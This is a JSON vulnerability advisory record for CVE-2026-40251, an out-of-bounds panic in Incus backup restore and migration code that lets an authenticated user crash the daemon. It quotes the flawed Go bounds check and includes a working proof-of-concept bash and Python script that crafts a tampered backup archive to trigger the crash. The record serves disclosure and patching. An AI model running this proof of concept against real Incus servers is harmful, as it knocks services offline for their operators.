{"id":"CVE-2026-40251","aliases":["CVE-2026-40251","GHSA-4m88-wxj4-9qj6","GO-2026-5127"],"related":[],"kind":"vulnerability","state":"published","title":"Incus out-of-bounds panic in snapshot metadata handling allows denial of service","summary":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.\n\nAn attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.\n\nAn attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.\n\nWhen iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.\n\nAn attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {\n    [...]\n    postHook := func(inst instance.Instance) error {\n        [...]\n        for i, backupFileSnap := range srcBackup.Snapshots {\n            var volumeSnapDescription string\n            var volumeSnapConfig map[string]string\n            var volumeSnapExpiryDate time.Time\n            var volumeSnapCreationDate time.Time\n\n            // Check if snapshot volume config is available for restore and matches snapshot name.\n            if srcBackup.Config != nil {\n                if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {\n                    // Use instance snapshot's creation date if snap info available.\n                    volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt\n                }\n\n                if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {\n                    // If the backup restore interface provides volume snapshot config use it,\n                    // otherwise use default volume config for the storage pool.\n                    volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description\n                    volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config\n\n                    if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {\n                        volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt\n                    }\n\n                    // Use volume's creation date if available.\n                    if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n                        volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt\n                    }\n                }\n            }\n\n            [...]\n        }\n        [...]\n    }\n    [...]\n}\n\n[...]\n\nfunc (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {\n    [...]\n    if !isRemoteClusterMove || args.StoragePool != \"\" {\n        for i, snapshot := range args.Snapshots {\n            snapName := snapshot.GetName()\n            newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)\n            snapConfig := vol.Config()           // Use parent volume config by default.\n            snapDescription := volumeDescription // Use parent volume description by default.\n            snapExpiryDate := time.Time{}\n            snapCreationDate := time.Time{}\n\n            // If the source snapshot config is available, use that.\n            if srcInfo != nil && srcInfo.Config != nil {\n                if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {\n                    // Use instance snapshot's creation date if snap info available.\n                    snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt\n                }\n\n                if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {\n                    // Check if snapshot volume config is available then use it.\n                    snapDescription = srcInfo.Config.VolumeSnapshots[i].Description\n                    snapConfig = srcInfo.Config.VolumeSnapshots[i].Config\n\n                    if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {\n                        snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt\n                    }\n\n                    // Use volume's creation date if available.\n                    if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n                        snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt\n                    }\n                }\n            }\n\n            [...]\n        }\n    }\n    [...]\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.\n\nStep 1: Generate a valid backup and tamper with its snapshot metadata\n\nFrom an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.\n\nCommands:\n```\ncat <<'EOF' > poc_snapshot_bounds.sh\n#!/bin/bash\nset -e\n\nBASE_NAME=\"base-$(date +%s)\"\nPANIC_NAME=\"panic-$(date +%s)\"\n\nincus init images:alpine/edge \"$BASE_NAME\" --project default\nincus snapshot create \"$BASE_NAME\" snap0 --project default\nincus export \"$BASE_NAME\" valid_snapshot_base.tar.gz --project default\n\nmkdir -p extract_snapshot_bounds\ntar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/\nchmod -R u+rwX extract_snapshot_bounds/\n\npython3 -c \"\nimport os\nimport sys\n\nbase = '$BASE_NAME'\npanic = '$PANIC_NAME'\n\nwith open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:\n    lines = f.read().splitlines()\n\nout = []\nin_skip = False\nskip_indent = 0\n\nfor line in lines:\n    line = line.replace(base, panic)\n    indent = len(line) - len(line.lstrip())\n\n    if in_skip:\n        if not line.strip():\n            continue\n        if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):\n            continue\n        else:\n            in_skip = False\n\n    if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):\n        out.append(line.split(':')[0] + ': []')\n        in_skip = True\n        skip_indent = indent\n        continue\n\n    out.append(line)\n\nwith open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:\n    f.write('\\n'.join(out))\n\"\n\ncd extract_snapshot_bounds/\ntar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/\ncd ..\n\nrm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz\necho \"[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\"\nEOF\n\nbash poc_snapshot_bounds.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable restore path\n\nFrom the same Incus client, import the crafted archive.\n\nCommand:\n```\nincus import exploit_snapshot_bounds_panic.tar.gz --project default\n```\n\nResult:\n```\nError: websocket: close 1006 (abnormal closure): unexpected EOF\n```\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)","format":"markdown","source":"ghsa"},{"lang":"en","text":"Incus Vulnerable to Panic via Snapshot Bounds Check in github.com/lxc/incus","format":"markdown","source":"go"},{"lang":"es","text":"Incus es un gestor de contenedores de sistema y máquinas virtuales. En versiones anteriores a la 7.0.0, la lógica de validación faltante en la lógica de importación de volúmenes de almacenamiento permite a un usuario autenticado con acceso a la característica de volumen de almacenamiento provocar que el demonio de Incus falle. El subsistema de restauración de copias de seguridad contiene una vulnerabilidad de pánico por fuera de límites causada por una comprobación de límites inválida al indexar arreglos de metadatos de instantáneas, y el mismo patrón defectuoso también aparece en la ruta de migración. Al iterar a través de instantáneas físicas proporcionadas en un archivo de copia de seguridad, el bucle utiliza el índice para buscar metadatos correspondientes en las porciones “Config.Snapshots” y “Config.VolumeSnapshots” analizadas. La condición de guarda “len(slice) >= i-1” es incorrecta porque aún puede evaluarse como verdadera cuando el acceso subsiguiente a slice[i] está fuera de límites.\n\nUn atacante puede enviar un archivo de copia de seguridad que contiene directorios de instantáneas físicas mientras suministra un “index.yaml” manipulado con un arreglo de metadatos de instantáneas vacío o truncado, lo que provoca que el demonio indexe más allá del final de la porción de metadatos y falle. El uso repetido de este problema puede utilizarse para mantener Incus fuera de línea, causando una denegación de servicio. Este problema está solucionado en la versión 7.0.0.","source":"nvd"}],"published":"2026-05-04T19:16:25.000Z","modified":"2026-10-26T19:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-125","CWE-129"],"affected":[{"ranges":[{"version":"< 7.0.0","status":"affected"}],"vendor":"lxc","product":"incus","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.0.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v6/cmd/incusd","purl":"pkg:golang/github.com/lxc/incus/v6/cmd/incusd","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus","purl":"pkg:golang/github.com/lxc/incus","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lxc/incus/v6","purl":"pkg:golang/github.com/lxc/incus/v6","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.0.0"}],"ecosystem":"Go","package":"github.com/lxc/incus/v7","purl":"pkg:golang/github.com/lxc/incus/v7","source":"go"},{"ranges":[{"status":"affected","fixed":"7.0.0"}],"vendor":"linuxcontainers","product":"incus","cpe":"cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40251","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/lxc/incus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-07T13:52:30.597Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40251","url":"https://www.cve.org/CVERecord?id=CVE-2026-40251","licence":"CVE Terms of Use","modified":"2026-05-07T13:52:33.513Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4m88-wxj4-9qj6","url":"https://github.com/advisories/GHSA-4m88-wxj4-9qj6","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:06.503Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5127","url":"https://pkg.go.dev/vuln/GO-2026-5127","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:23.709Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40251","licence":"Public domain","modified":"2026-10-26T19:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:20.835Z","epss":{"score":0.00408,"percentile":0.37179,"date":"2026-12-01T12:00:22.000Z"}}